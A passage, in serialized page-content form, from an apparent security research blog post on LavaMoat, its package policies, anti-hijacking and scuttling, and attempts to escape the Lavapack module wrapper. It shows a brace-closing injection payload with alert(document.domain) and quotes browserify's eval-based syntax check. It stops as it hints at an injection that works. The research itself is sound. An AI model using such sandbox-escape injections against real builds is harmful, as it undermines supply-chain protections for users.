\"web3\"",{"type":23,"tag":75,"props":58620,"children":58621},{"style":110},[58622],{"type":29,"value":1018},{"type":23,"tag":75,"props":58624,"children":58625},{"style":82},[58626],{"type":29,"value":57741},{"type":23,"tag":75,"props":58628,"children":58629},{"class":77,"line":349},[58630],{"type":23,"tag":75,"props":58631,"children":58632},{"style":94},[58633],{"type":29,"value":48391},{"type":23,"tag":75,"props":58635,"children":58636},{"class":77,"line":363},[58637,58641,58645],{"type":23,"tag":75,"props":58638,"children":58639},{"style":1266},[58640],{"type":29,"value":48399},{"type":23,"tag":75,"props":58642,"children":58643},{"style":110},[58644],{"type":29,"value":1018},{"type":23,"tag":75,"props":58646,"children":58647},{"style":94},[58648],{"type":29,"value":401},{"type":23,"tag":75,"props":58650,"children":58651},{"class":77,"line":656},[58652,58657,58661,58665],{"type":23,"tag":75,"props":58653,"children":58654},{"style":1266},[58655],{"type":29,"value":58656},"        \"@metamask/object-multiplex\"",{"type":23,"tag":75,"props":58658,"children":58659},{"style":110},[58660],{"type":29,"value":1018},{"type":23,"tag":75,"props":58662,"children":58663},{"style":82},[58664],{"type":29,"value":23713},{"type":23,"tag":75,"props":58666,"children":58667},{"style":94},[58668],{"type":29,"value":118},{"type":23,"tag":75,"props":58670,"children":58671},{"class":77,"line":705},[58672,58677,58681],{"type":23,"tag":75,"props":58673,"children":58674},{"style":1266},[58675],{"type":29,"value":58676},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":75,"props":58678,"children":58679},{"style":110},[58680],{"type":29,"value":1018},{"type":23,"tag":75,"props":58682,"children":58683},{"style":82},[58684],{"type":29,"value":57741},{"type":23,"tag":32,"props":58686,"children":58687},{},[58688,58689,58694,58696,58701,58703,58709],{"type":29,"value":2846},{"type":23,"tag":71,"props":58690,"children":58692},{"className":58691},[],[58693],{"type":29,"value":48464},{"type":29,"value":58695}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":71,"props":58697,"children":58699},{"className":58698},[],[58700],{"type":29,"value":48472},{"type":29,"value":58702}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":71,"props":58704,"children":58706},{"className":58705},[],[58707],{"type":29,"value":58708},"@metamask/providers",{"type":29,"value":58710}," interacts with other packages.",{"type":23,"tag":32,"props":58712,"children":58713},{},[58714,58716,58722],{"type":29,"value":58715},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":71,"props":58717,"children":58719},{"className":58718},[],[58720],{"type":29,"value":58721},"lavapack",{"type":29,"value":58723},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":30116,"props":58725,"children":58727},{"id":58726},"npm-anti-hijacking",[58728],{"type":29,"value":58344},{"type":23,"tag":32,"props":58730,"children":58731},{},[58732],{"type":29,"value":58733},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":32,"props":58735,"children":58736},{},[58737,58739,58746],{"type":29,"value":58738},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":940,"props":58740,"children":58743},{"href":58741,"rel":58742},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[944],[58744],{"type":29,"value":58745},"walking the modules",{"type":29,"value":58747}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":30116,"props":58749,"children":58751},{"id":58750},"scuttling",[58752],{"type":29,"value":58349},{"type":23,"tag":32,"props":58754,"children":58755},{},[58756,58758,58764],{"type":29,"value":58757},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":71,"props":58759,"children":58761},{"className":58760},[],[58762],{"type":29,"value":58763},"GlobalThis",{"type":29,"value":58765}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":32,"props":58767,"children":58768},{},[58769,58771,58777],{"type":29,"value":58770},"For example, ",{"type":23,"tag":940,"props":58772,"children":58775},{"href":58773,"rel":58774},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[944],[58776],{"type":29,"value":2244},{"type":29,"value":58778}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":64,"props":58780,"children":58782},{"className":42559,"code":58781,"language":42561,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[58783],{"type":23,"tag":71,"props":58784,"children":58785},{"__ignoreMap":7},[58786,58815,58865,58924,58931,59003],{"type":23,"tag":75,"props":58787,"children":58788},{"class":77,"line":78},[58789,58793,58797,58802,58806,58811],{"type":23,"tag":75,"props":58790,"children":58791},{"style":175},[58792],{"type":29,"value":1363},{"type":23,"tag":75,"props":58794,"children":58795},{"style":94},[58796],{"type":29,"value":183},{"type":23,"tag":75,"props":58798,"children":58799},{"style":110},[58800],{"type":29,"value":58801},"scuttleOpts",{"type":23,"tag":75,"props":58803,"children":58804},{"style":94},[58805],{"type":29,"value":557},{"type":23,"tag":75,"props":58807,"children":58808},{"style":110},[58809],{"type":29,"value":58810},"enabled",{"type":23,"tag":75,"props":58812,"children":58813},{"style":94},[58814],{"type":29,"value":193},{"type":23,"tag":75,"props":58816,"children":58817},{"class":77,"line":100},[58818,58822,58826,58830,58835,58839,58844,58848,58852,58856,58861],{"type":23,"tag":75,"props":58819,"children":58820},{"style":175},[58821],{"type":29,"value":50476},{"type":23,"tag":75,"props":58823,"children":58824},{"style":94},[58825],{"type":29,"value":183},{"type":23,"tag":75,"props":58827,"children":58828},{"style":209},[58829],{"type":29,"value":13434},{"type":23,"tag":75,"props":58831,"children":58832},{"style":110},[58833],{"type":29,"value":58834},"Array",{"type":23,"tag":75,"props":58836,"children":58837},{"style":94},[58838],{"type":29,"value":557},{"type":23,"tag":75,"props":58840,"children":58841},{"style":88},[58842],{"type":29,"value":58843},"isArray",{"type":23,"tag":75,"props":58845,"children":58846},{"style":94},[58847],{"type":29,"value":643},{"type":23,"tag":75,"props":58849,"children":58850},{"style":110},[58851],{"type":29,"value":58801},{"type":23,"tag":75,"props":58853,"children":58854},{"style":94},[58855],{"type":29,"value":557},{"type":23,"tag":75,"props":58857,"children":58858},{"style":110},[58859],{"type":29,"value":58860},"exceptions",{"type":23,"tag":75,"props":58862,"children":58863},{"style":94},[58864],{"type":29,"value":46388},{"type":23,"tag":75,"props":58866,"children":58867},{"class":77,"line":121},[58868,58873,58877,58881,58885,58890,58894,58898,58903,58907,58911,58915,58920],{"type":23,"tag":75,"props":58869,"children":58870},{"style":175},[58871],{"type":29,"value":58872},"        throw",{"type":23,"tag":75,"props":58874,"children":58875},{"style":82},[58876],{"type":29,"value":43128},{"type":23,"tag":75,"props":58878,"children":58879},{"style":88},[58880],{"type":29,"value":51473},{"type":23,"tag":75,"props":58882,"children":58883},{"style":94},[58884],{"type":29,"value":643},{"type":23,"tag":75,"props":58886,"children":58887},{"style":1266},[58888],{"type":29,"value":58889},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":75,"props":58891,"children":58892},{"style":82},[58893],{"type":29,"value":45302},{"type":23,"tag":75,"props":58895,"children":58896},{"style":82},[58897],{"type":29,"value":42598},{"type":23,"tag":75,"props":58899,"children":58900},{"style":110},[58901],{"type":29,"value":58902}," scuttleOpts",{"type":23,"tag":75,"props":58904,"children":58905},{"style":209},[58906],{"type":29,"value":557},{"type":23,"tag":75,"props":58908,"children":58909},{"style":110},[58910],{"type":29,"value":58860},{"type":23,"tag":75,"props":58912,"children":58913},{"style":82},[58914],{"type":29,"value":45334},{"type":23,"tag":75,"props":58916,"children":58917},{"style":1266},[58918],{"type":29,"value":58919},"\"`",{"type":23,"tag":75,"props":58921,"children":58922},{"style":94},[58923],{"type":29,"value":653},{"type":23,"tag":75,"props":58925,"children":58926},{"class":77,"line":138},[58927],{"type":23,"tag":75,"props":58928,"children":58929},{"style":94},[58930],{"type":29,"value":23908},{"type":23,"tag":75,"props":58932,"children":58933},{"class":77,"line":161},[58934,58939,58943,58948,58952,58957,58961,58966,58970,58975,58979,58983,58987,58991,58995,58999],{"type":23,"tag":75,"props":58935,"children":58936},{"style":110},[58937],{"type":29,"value":58938},"      scuttleOpts",{"type":23,"tag":75,"props":58940,"children":58941},{"style":94},[58942],{"type":29,"value":557},{"type":23,"tag":75,"props":58944,"children":58945},{"style":88},[58946],{"type":29,"value":58947},"scuttlerFunc",{"type":23,"tag":75,"props":58949,"children":58950},{"style":94},[58951],{"type":29,"value":643},{"type":23,"tag":75,"props":58953,"children":58954},{"style":110},[58955],{"type":29,"value":58956},"globalRef",{"type":23,"tag":75,"props":58958,"children":58959},{"style":94},[58960],{"type":29,"value":611},{"type":23,"tag":75,"props":58962,"children":58963},{"style":110},[58964],{"type":29,"value":58965},"realm",{"type":23,"tag":75,"props":58967,"children":58968},{"style":82},[58969],{"type":29,"value":38951},{"type":23,"tag":75,"props":58971,"children":58972},{"style":88},[58973],{"type":29,"value":58974}," performScuttleGlobalThis",{"type":23,"tag":75,"props":58976,"children":58977},{"style":94},[58978],{"type":29,"value":643},{"type":23,"tag":75,"props":58980,"children":58981},{"style":110},[58982],{"type":29,"value":58965},{"type":23,"tag":75,"props":58984,"children":58985},{"style":94},[58986],{"type":29,"value":611},{"type":23,"tag":75,"props":58988,"children":58989},{"style":110},[58990],{"type":29,"value":58801},{"type":23,"tag":75,"props":58992,"children":58993},{"style":94},[58994],{"type":29,"value":557},{"type":23,"tag":75,"props":58996,"children":58997},{"style":110},[58998],{"type":29,"value":58860},{"type":23,"tag":75,"props":59000,"children":59001},{"style":94},[59002],{"type":29,"value":702},{"type":23,"tag":75,"props":59004,"children":59005},{"class":77,"line":196},[59006],{"type":23,"tag":75,"props":59007,"children":59008},{"style":94},[59009],{"type":29,"value":346},{"type":23,"tag":32,"props":59011,"children":59012},{},[59013,59015,59021,59023,59029],{"type":29,"value":59014},"Subsequently, the code defines a ",{"type":23,"tag":940,"props":59016,"children":59019},{"href":59017,"rel":59018},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[944],[59020],{"type":29,"value":85},{"type":29,"value":59022}," called ",{"type":23,"tag":71,"props":59024,"children":59026},{"className":59025},[],[59027],{"type":29,"value":59028},"generateScuttleOpts",{"type":29,"value":59030}," that creates and returns an options object.",{"type":23,"tag":32,"props":59032,"children":59033},{},[59034,59036,59042,59043,59049,59051,59056,59058,59064],{"type":29,"value":59035},"Finally, the ",{"type":23,"tag":71,"props":59037,"children":59039},{"className":59038},[],[59040],{"type":29,"value":59041},"performScuttleGlobalThis",{"type":29,"value":949},{"type":23,"tag":940,"props":59044,"children":59047},{"href":59045,"rel":59046},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[944],[59048],{"type":29,"value":85},{"type":29,"value":59050}," modifies the properties of the global object (",{"type":23,"tag":71,"props":59052,"children":59054},{"className":59053},[],[59055],{"type":29,"value":58956},{"type":29,"value":59057},"). It starts by creating an array ",{"type":23,"tag":71,"props":59059,"children":59061},{"className":59060},[],[59062],{"type":29,"value":59063},"props",{"type":29,"value":59065},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":24,"props":59067,"children":59069},{"id":59068},"hacking-webpacks",[59070],{"type":29,"value":59071},"Hacking Webpacks",{"type":23,"tag":32,"props":59073,"children":59074},{},[59075],{"type":29,"value":59076},"Now let's get to the fun stuff.",{"type":23,"tag":32,"props":59078,"children":59079},{},[59080],{"type":29,"value":59081},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":64,"props":59083,"children":59085},{"className":42559,"code":59084,"language":42561,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[59086],{"type":23,"tag":71,"props":59087,"children":59088},{"__ignoreMap":7},[59089,59141,59153,59173,59190,59198,59206,59214,59222,59243,59251,59259,59267,59274,59281,59288],{"type":23,"tag":75,"props":59090,"children":59091},{"class":77,"line":78},[59092,59096,59101,59105,59110,59114,59119,59123,59128,59132,59137],{"type":23,"tag":75,"props":59093,"children":59094},{"style":82},[59095],{"type":29,"value":47380},{"type":23,"tag":75,"props":59097,"children":59098},{"style":110},[59099],{"type":29,"value":59100}," filename",{"type":23,"tag":75,"props":59102,"children":59103},{"style":209},[59104],{"type":29,"value":1193},{"type":23,"tag":75,"props":59106,"children":59107},{"style":88},[59108],{"type":29,"value":59109}," encodeURI",{"type":23,"tag":75,"props":59111,"children":59112},{"style":94},[59113],{"type":29,"value":643},{"type":23,"tag":75,"props":59115,"children":59116},{"style":88},[59117],{"type":29,"value":59118},"String",{"type":23,"tag":75,"props":59120,"children":59121},{"style":94},[59122],{"type":29,"value":643},{"type":23,"tag":75,"props":59124,"children":59125},{"style":110},[59126],{"type":29,"value":59127},"moduleData",{"type":23,"tag":75,"props":59129,"children":59130},{"style":94},[59131],{"type":29,"value":557},{"type":23,"tag":75,"props":59133,"children":59134},{"style":110},[59135],{"type":29,"value":59136},"file",{"type":23,"tag":75,"props":59138,"children":59139},{"style":94},[59140],{"type":29,"value":702},{"type":23,"tag":75,"props":59142,"children":59143},{"class":77,"line":100},[59144,59148],{"type":23,"tag":75,"props":59145,"children":59146},{"style":82},[59147],{"type":29,"value":19114},{"type":23,"tag":75,"props":59149,"children":59150},{"style":110},[59151],{"type":29,"value":59152}," moduleWrapperSource\n",{"type":23,"tag":75,"props":59154,"children":59155},{"class":77,"line":121},[59156,59160,59164,59169],{"type":23,"tag":75,"props":59157,"children":59158},{"style":175},[59159],{"type":29,"value":42589},{"type":23,"tag":75,"props":59161,"children":59162},{"style":94},[59163],{"type":29,"value":183},{"type":23,"tag":75,"props":59165,"children":59166},{"style":110},[59167],{"type":29,"value":59168},"bundleWithPrecompiledModules",{"type":23,"tag":75,"props":59170,"children":59171},{"style":94},[59172],{"type":29,"value":193},{"type":23,"tag":75,"props":59174,"children":59175},{"class":77,"line":138},[59176,59181,59185],{"type":23,"tag":75,"props":59177,"children":59178},{"style":110},[59179],{"type":29,"value":59180},"    moduleWrapperSource",{"type":23,"tag":75,"props":59182,"children":59183},{"style":209},[59184],{"type":29,"value":1193},{"type":23,"tag":75,"props":59186,"children":59187},{"style":1266},[59188],{"type":29,"value":59189}," `function(){\n",{"type":23,"tag":75,"props":59191,"children":59192},{"class":77,"line":161},[59193],{"type":23,"tag":75,"props":59194,"children":59195},{"style":1266},[59196],{"type":29,"value":59197},"      with (this.scopeTerminator) {\n",{"type":23,"tag":75,"props":59199,"children":59200},{"class":77,"line":196},[59201],{"type":23,"tag":75,"props":59202,"children":59203},{"style":1266},[59204],{"type":29,"value":59205},"        with (this.globalThis) {\n",{"type":23,"tag":75,"props":59207,"children":59208},{"class":77,"line":220},[59209],{"type":23,"tag":75,"props":59210,"children":59211},{"style":1266},[59212],{"type":29,"value":59213},"          return function() {\n",{"type":23,"tag":75,"props":59215,"children":59216},{"class":77,"line":248},[59217],{"type":23,"tag":75,"props":59218,"children":59219},{"style":1266},[59220],{"type":29,"value":59221},"            'use strict';\n",{"type":23,"tag":75,"props":59223,"children":59224},{"class":77,"line":270},[59225,59230,59234,59239],{"type":23,"tag":75,"props":59226,"children":59227},{"style":1266},[59228],{"type":29,"value":59229},"            // source: ",{"type":23,"tag":75,"props":59231,"children":59232},{"style":82},[59233],{"type":29,"value":45302},{"type":23,"tag":75,"props":59235,"children":59236},{"style":110},[59237],{"type":29,"value":59238},"filename",{"type":23,"tag":75,"props":59240,"children":59241},{"style":82},[59242],{"type":29,"value":369},{"type":23,"tag":75,"props":59244,"children":59245},{"class":77,"line":279},[59246],{"type":23,"tag":75,"props":59247,"children":59248},{"style":1266},[59249],{"type":29,"value":59250},"            return function (require, module, exports) {\n",{"type":23,"tag":75,"props":59252,"children":59253},{"class":77,"line":303},[59254],{"type":23,"tag":75,"props":59255,"children":59256},{"style":1266},[59257],{"type":29,"value":59258},"              __MODULE_CONTENT__\n",{"type":23,"tag":75,"props":59260,"children":59261},{"class":77,"line":322},[59262],{"type":23,"tag":75,"props":59263,"children":59264},{"style":1266},[59265],{"type":29,"value":59266},"            };\n",{"type":23,"tag":75,"props":59268,"children":59269},{"class":77,"line":340},[59270],{"type":23,"tag":75,"props":59271,"children":59272},{"style":1266},[59273],{"type":29,"value":19958},{"type":23,"tag":75,"props":59275,"children":59276},{"class":77,"line":349},[59277],{"type":23,"tag":75,"props":59278,"children":59279},{"style":1266},[59280],{"type":29,"value":2503},{"type":23,"tag":75,"props":59282,"children":59283},{"class":77,"line":363},[59284],{"type":23,"tag":75,"props":59285,"children":59286},{"style":1266},[59287],{"type":29,"value":23908},{"type":23,"tag":75,"props":59289,"children":59290},{"class":77,"line":656},[59291],{"type":23,"tag":75,"props":59292,"children":59293},{"style":1266},[59294],{"type":29,"value":59295},"    }`\n",{"type":23,"tag":32,"props":59297,"children":59298},{},[59299,59301,59307,59309,59315],{"type":29,"value":59300},"Lavapack uses ",{"type":23,"tag":71,"props":59302,"children":59304},{"className":59303},[],[59305],{"type":29,"value":59306},"with()",{"type":29,"value":59308}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":71,"props":59310,"children":59312},{"className":59311},[],[59313],{"type":29,"value":59314},"__MODULE_CONTENT__",{"type":29,"value":59316}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":923,"props":59318,"children":59320},{"id":59319},"injection-not-so-simple",[59321],{"type":29,"value":59322},"Injection? Not So Simple",{"type":23,"tag":32,"props":59324,"children":59325},{},[59326,59328,59333],{"type":29,"value":59327},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":71,"props":59329,"children":59331},{"className":59330},[],[59332],{"type":29,"value":23895},{"type":29,"value":59334}," environment:",{"type":23,"tag":64,"props":59336,"children":59338},{"className":42559,"code":59337,"language":42561,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[59339],{"type":23,"tag":71,"props":59340,"children":59341},{"__ignoreMap":7},[59342,59355,59367,59379,59391,59398],{"type":23,"tag":75,"props":59343,"children":59344},{"class":77,"line":78},[59345,59350],{"type":23,"tag":75,"props":59346,"children":59347},{"style":94},[59348],{"type":29,"value":59349},"   } ",{"type":23,"tag":75,"props":59351,"children":59352},{"style":3621},[59353],{"type":29,"value":59354},"// end function 1\n",{"type":23,"tag":75,"props":59356,"children":59357},{"class":77,"line":100},[59358,59362],{"type":23,"tag":75,"props":59359,"children":59360},{"style":94},[59361],{"type":29,"value":42663},{"type":23,"tag":75,"props":59363,"children":59364},{"style":3621},[59365],{"type":29,"value":59366},"// end function 2\n",{"type":23,"tag":75,"props":59368,"children":59369},{"class":77,"line":121},[59370,59374],{"type":23,"tag":75,"props":59371,"children":59372},{"style":94},[59373],{"type":29,"value":47394},{"type":23,"tag":75,"props":59375,"children":59376},{"style":3621},[59377],{"type":29,"value":59378},"// end with 1\n",{"type":23,"tag":75,"props":59380,"children":59381},{"class":77,"line":138},[59382,59386],{"type":23,"tag":75,"props":59383,"children":59384},{"style":94},[59385],{"type":29,"value":58066},{"type":23,"tag":75,"props":59387,"children":59388},{"style":3621},[59389],{"type":29,"value":59390},"// end with 2\n",{"type":23,"tag":75,"props":59392,"children":59393},{"class":77,"line":161},[59394],{"type":23,"tag":75,"props":59395,"children":59396},{"emptyLinePlaceholder":15},[59397],{"type":29,"value":276},{"type":23,"tag":75,"props":59399,"children":59400},{"class":77,"line":196},[59401,59405,59409,59413,59417,59421],{"type":23,"tag":75,"props":59402,"children":59403},{"style":88},[59404],{"type":29,"value":43891},{"type":23,"tag":75,"props":59406,"children":59407},{"style":94},[59408],{"type":29,"value":643},{"type":23,"tag":75,"props":59410,"children":59411},{"style":110},[59412],{"type":29,"value":43901},{"type":23,"tag":75,"props":59414,"children":59415},{"style":94},[59416],{"type":29,"value":557},{"type":23,"tag":75,"props":59418,"children":59419},{"style":110},[59420],{"type":29,"value":43911},{"type":23,"tag":75,"props":59422,"children":59423},{"style":94},[59424],{"type":29,"value":653},{"type":23,"tag":32,"props":59426,"children":59427},{},[59428,59430,59436,59438,59445],{"type":29,"value":59429},"However, when we tried to bundle it, a ",{"type":23,"tag":71,"props":59431,"children":59433},{"className":59432},[],[59434],{"type":29,"value":59435},"ParseError",{"type":29,"value":59437}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":940,"props":59439,"children":59442},{"href":59440,"rel":59441},"https://github.com/browserify/browserify",[944],[59443],{"type":29,"value":59444},"browserify",{"type":29,"value":59446},", which has a syntax check before replacing the code.",{"type":23,"tag":32,"props":59448,"children":59449},{},[59450,59452,59458,59460,59466,59468,59474,59476,59481],{"type":29,"value":59451},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":71,"props":59453,"children":59455},{"className":59454},[],[59456],{"type":29,"value":59457},"syntax",{"type":29,"value":59459}," stage on it's pipeline, and uses the ",{"type":23,"tag":71,"props":59461,"children":59463},{"className":59462},[],[59464],{"type":29,"value":59465},"syntax-error",{"type":29,"value":59467}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":71,"props":59469,"children":59471},{"className":59470},[],[59472],{"type":29,"value":59473},"pack",{"type":29,"value":59475}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":71,"props":59477,"children":59479},{"className":59478},[],[59480],{"type":29,"value":59457},{"type":29,"value":59482},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":32,"props":59484,"children":59485},{},[59486],{"type":23,"tag":15189,"props":59487,"children":59490},{"alt":59488,"src":59489},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":32,"props":59492,"children":59493},{},[59494,59495,59500,59502,59507],{"type":29,"value":2846},{"type":23,"tag":71,"props":59496,"children":59498},{"className":59497},[],[59499],{"type":29,"value":59465},{"type":29,"value":59501}," package performs a syntax check by using  ",{"type":23,"tag":71,"props":59503,"children":59505},{"className":59504},[],[59506],{"type":29,"value":48739},{"type":29,"value":59508}," with function hoisting:",{"type":23,"tag":64,"props":59510,"children":59512},{"className":42559,"code":59511,"language":42561,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[59513],{"type":23,"tag":71,"props":59514,"children":59515},{"__ignoreMap":7},[59516,59528,59577,59588,59595,59615,59656,59714,59754],{"type":23,"tag":75,"props":59517,"children":59518},{"class":77,"line":78},[59519,59524],{"type":23,"tag":75,"props":59520,"children":59521},{"style":175},[59522],{"type":29,"value":59523},"try",{"type":23,"tag":75,"props":59525,"children":59526},{"style":94},[59527],{"type":29,"value":401},{"type":23,"tag":75,"props":59529,"children":59530},{"class":77,"line":100},[59531,59536,59540,59545,59549,59554,59558,59563,59568,59573],{"type":23,"tag":75,"props":59532,"children":59533},{"style":88},[59534],{"type":29,"value":59535},"    eval",{"type":23,"tag":75,"props":59537,"children":59538},{"style":94},[59539],{"type":29,"value":643},{"type":23,"tag":75,"props":59541,"children":59542},{"style":1266},[59543],{"type":29,"value":59544},"'throw \"STOP\"; (function () { '",{"type":23,"tag":75,"props":59546,"children":59547},{"style":209},[59548],{"type":29,"value":20160},{"type":23,"tag":75,"props":59550,"children":59551},{"style":110},[59552],{"type":29,"value":59553}," src",{"type":23,"tag":75,"props":59555,"children":59556},{"style":209},[59557],{"type":29,"value":20160},{"type":23,"tag":75,"props":59559,"children":59560},{"style":1266},[59561],{"type":29,"value":59562}," '",{"type":23,"tag":75,"props":59564,"children":59565},{"style":11688},[59566],{"type":29,"value":59567},"\\n",{"type":23,"tag":75,"props":59569,"children":59570},{"style":1266},[59571],{"type":29,"value":59572},"})()'",{"type":23,"tag":75,"props":59574,"children":59575},{"style":94},[59576],{"type":29,"value":15099},{"type":23,"tag":75,"props":59578,"children":59579},{"class":77,"line":121},[59580,59584],{"type":23,"tag":75,"props":59581,"children":59582},{"style":175},[59583],{"type":29,"value":355},{"type":23,"tag":75,"props":59585,"children":59586},{"style":94},[59587],{"type":29,"value":245},{"type":23,"tag":75,"props":59589,"children":59590},{"class":77,"line":138},[59591],{"type":23,"tag":75,"props":59592,"children":59593},{"style":94},[59594],{"type":29,"value":369},{"type":23,"tag":75,"props":59596,"children":59597},{"class":77,"line":161},[59598,59603,59607,59611],{"type":23,"tag":75,"props":59599,"children":59600},{"style":175},[59601],{"type":29,"value":59602},"catch",{"type":23,"tag":75,"props":59604,"children":59605},{"style":94},[59606],{"type":29,"value":183},{"type":23,"tag":75,"props":59608,"children":59609},{"style":110},[59610],{"type":29,"value":4434},{"type":23,"tag":75,"props":59612,"children":59613},{"style":94},[59614],{"type":29,"value":193},{"type":23,"tag":75,"props":59616,"children":59617},{"class":77,"line":196},[59618,59622,59626,59630,59634,59639,59643,59648,59652],{"type":23,"tag":75,"props":59619,"children":59620},{"style":175},[59621],{"type":29,"value":1363},{"type":23,"tag":75,"props":59623,"children":59624},{"style":94},[59625],{"type":29,"value":183},{"type":23,"tag":75,"props":59627,"children":59628},{"style":110},[59629],{"type":29,"value":4434},{"type":23,"tag":75,"props":59631,"children":59632},{"style":209},[59633],{"type":29,"value":42617},{"type":23,"tag":75,"props":59635,"children":59636},{"style":1266},[59637],{"type":29,"value":59638}," 'STOP'",{"type":23,"tag":75,"props":59640,"children":59641},{"style":94},[59642],{"type":29,"value":167},{"type":23,"tag":75,"props":59644,"children":59645},{"style":175},[59646],{"type":29,"value":59647},"return",{"type":23,"tag":75,"props":59649,"children":59650},{"style":82},[59651],{"type":29,"value":50527},{"type":23,"tag":75,"props":59653,"children":59654},{"style":94},[59655],{"type":29,"value":245},{"type":23,"tag":75,"props":59657,"children":59658},{"class":77,"line":220},[59659,59663,59667,59671,59675,59680,59684,59688,59693,59698,59702,59706,59710],{"type":23,"tag":75,"props":59660,"children":59661},{"style":175},[59662],{"type":29,"value":1363},{"type":23,"tag":75,"props":59664,"children":59665},{"style":94},[59666],{"type":29,"value":183},{"type":23,"tag":75,"props":59668,"children":59669},{"style":110},[59670],{"type":29,"value":4434},{"type":23,"tag":75,"props":59672,"children":59673},{"style":94},[59674],{"type":29,"value":557},{"type":23,"tag":75,"props":59676,"children":59677},{"style":110},[59678],{"type":29,"value":59679},"constructor",{"type":23,"tag":75,"props":59681,"children":59682},{"style":94},[59683],{"type":29,"value":557},{"type":23,"tag":75,"props":59685,"children":59686},{"style":110},[59687],{"type":29,"value":13969},{"type":23,"tag":75,"props":59689,"children":59690},{"style":209},[59691],{"type":29,"value":59692}," !==",{"type":23,"tag":75,"props":59694,"children":59695},{"style":1266},[59696],{"type":29,"value":59697}," 'SyntaxError'",{"type":23,"tag":75,"props":59699,"children":59700},{"style":94},[59701],{"type":29,"value":167},{"type":23,"tag":75,"props":59703,"children":59704},{"style":175},[59705],{"type":29,"value":59647},{"type":23,"tag":75,"props":59707,"children":59708},{"style":110},[59709],{"type":29,"value":6277},{"type":23,"tag":75,"props":59711,"children":59712},{"style":94},[59713],{"type":29,"value":245},{"type":23,"tag":75,"props":59715,"children":59716},{"class":77,"line":248},[59717,59721,59726,59730,59734,59738,59742,59746,59750],{"type":23,"tag":75,"props":59718,"children":59719},{"style":175},[59720],{"type":29,"value":355},{"type":23,"tag":75,"props":59722,"children":59723},{"style":88},[59724],{"type":29,"value":59725}," errorInfo",{"type":23,"tag":75,"props":59727,"children":59728},{"style":94},[59729],{"type":29,"value":643},{"type":23,"tag":75,"props":59731,"children":59732},{"style":110},[59733],{"type":29,"value":43863},{"type":23,"tag":75,"props":59735,"children":59736},{"style":94},[59737],{"type":29,"value":611},{"type":23,"tag":75,"props":59739,"children":59740},{"style":110},[59741],{"type":29,"value":59136},{"type":23,"tag":75,"props":59743,"children":59744},{"style":94},[59745],{"type":29,"value":611},{"type":23,"tag":75,"props":59747,"children":59748},{"style":110},[59749],{"type":29,"value":4643},{"type":23,"tag":75,"props":59751,"children":59752},{"style":94},[59753],{"type":29,"value":15099},{"type":23,"tag":75,"props":59755,"children":59756},{"class":77,"line":270},[59757],{"type":23,"tag":75,"props":59758,"children":59759},{"style":94},[59760],{"type":29,"value":369},{"type":23,"tag":32,"props":59762,"children":59763},{},[59764,59766,59770,59772,59778,59780,59785],{"type":29,"value":59765},"Interestingly, it ",{"type":23,"tag":9690,"props":59767,"children":59768},{},[59769],{"type":29,"value":15247},{"type":29,"value":59771}," possible to inject a ",{"type":23,"tag":71,"props":59773,"children":59775},{"className":59774},[],[59776],{"type":29,"value":59777},"}); (() => {",{"type":29,"value":59779}," inside source, 